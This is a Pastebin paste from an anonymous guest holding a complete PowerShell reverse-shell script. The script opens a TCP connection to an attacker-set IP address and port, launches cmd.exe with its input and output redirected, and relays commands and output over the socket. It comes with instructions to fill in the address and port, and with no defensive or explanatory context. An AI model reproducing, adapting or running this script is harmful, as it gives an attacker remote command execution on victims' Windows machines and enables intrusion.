Advertisement
Guest User

Untitled

a guest
Nov 18th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. //Change those in <>
  2. function cleanup {
  3. if ($client.Connected -eq $true) {$client.Close()}
  4. if ($process.ExitCode -ne $null) {$process.Close()}
  5. exit}
  6. // Setup IPADDR
  7. $address = '<192.168.43.1>'
  8. // Setup PORT
  9. $port = '<999>'
  10. $client = New-Object system.net.sockets.tcpclient
  11. $client.connect($address,$port)
  12. $stream = $client.GetStream()
  13. $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
  14. $process = New-Object System.Diagnostics.Process
  15. $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
  16. $process.StartInfo.RedirectStandardInput = 1
  17. $process.StartInfo.RedirectStandardOutput = 1
  18. $process.StartInfo.UseShellExecute = 0
  19. $process.Start()
  20. $inputstream = $process.StandardInput
  21. $outputstream = $process.StandardOutput
  22. Start-Sleep 1
  23. $encoding = new-object System.Text.AsciiEncoding
  24. while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
  25. $stream.Write($encoding.GetBytes($out),0,$out.Length)
  26. $out = $null; $done = $false; $testing = 0;
  27. while (-not $done) {
  28. if ($client.Connected -ne $true) {cleanup}
  29. $pos = 0; $i = 1
  30. while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
  31. $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
  32. $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
  33. if ($pos -gt 0) {
  34. $string = $encoding.GetString($networkbuffer,0,$pos)
  35. $inputstream.write($string)
  36. start-sleep 1
  37. if ($process.ExitCode -ne $null) {cleanup}
  38. else {
  39. $out = $encoding.GetString($outputstream.Read())
  40. while($outputstream.Peek() -ne -1){
  41. $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
  42. $stream.Write($encoding.GetBytes($out),0,$out.length)
  43. $out = $null
  44. $string = $null}} else {cleanup}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement